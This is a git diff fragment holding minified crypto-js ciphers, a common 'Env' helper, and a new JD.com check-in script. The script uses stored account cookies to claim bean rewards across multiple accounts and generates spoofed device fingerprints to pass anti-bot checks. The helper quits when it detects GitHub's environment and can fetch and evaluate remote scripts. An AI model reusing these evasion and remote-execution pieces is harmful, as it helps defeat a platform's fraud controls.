7109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_sign_graphics1.js b/jd_sign_graphics1.js new file mode 100644 index 0000000..f3fc791 --- /dev/null +++ b/jd_sign_graphics1.js @@ -0,0 +1,270 @@ +/* +cron 10 8 * * * jd_sign_graphics1.js +只支持nodejs环境 +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +*/ + +const Faker = require('./sign_graphics_validate.js') +const $ = new Env('京东签到翻牌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let UA = "" +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://sendbeans.jd.com' +const turnTableId = [ + // { "name": "美妆-1", "id": 293, "shopid": 30284, "url": "https://sendbeans.jd.com/jump/index/" }, + // { "name": "美妆-2", "id": 1162, "shopid": 56178, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "美妆-3", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + subTitle = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + getUA() + await signRun() + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset() * 60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', { hour12: false }); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个\n${beanNum > 0 && "【签到奖励】: " + beanNum + "京豆" || ""}\n` + message += msg + '\n' + $.msg($.name, msg); + } + } + // await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + signFlag = false + await Login(i) + if (signFlag) { + successNum++; + } else { + errorNum++; + } + await $.wait(1000) + } +} + +function Sign(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/sign?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}&fp=${fp}&eid=${eid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (Number(data.jdBeanQuantity) > 0) beanNum += Number(data.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(data.jdBeanQuantity)}京豆`) + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Login(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/detail?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let arr = await Faker.getBody(UA, turnTableId[i].url) + fp = arr.fp + await getEid(arr) + await Sign(i) + } else { + if (data.records && data.records[0]) { + for (let i in data.records) { + let item = data.records[i] + if ((item.hasSign == false && item.index != 1) || i == data.records.length - 1) { + if (item.hasSign == false) i = i - 1 + beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = true; + console.log(`${turnTableId[i].name} 已签到`) + } + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA() { + $.UA = `jdapp;iPhone;10.1.0;14.3;${$.UUID};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: 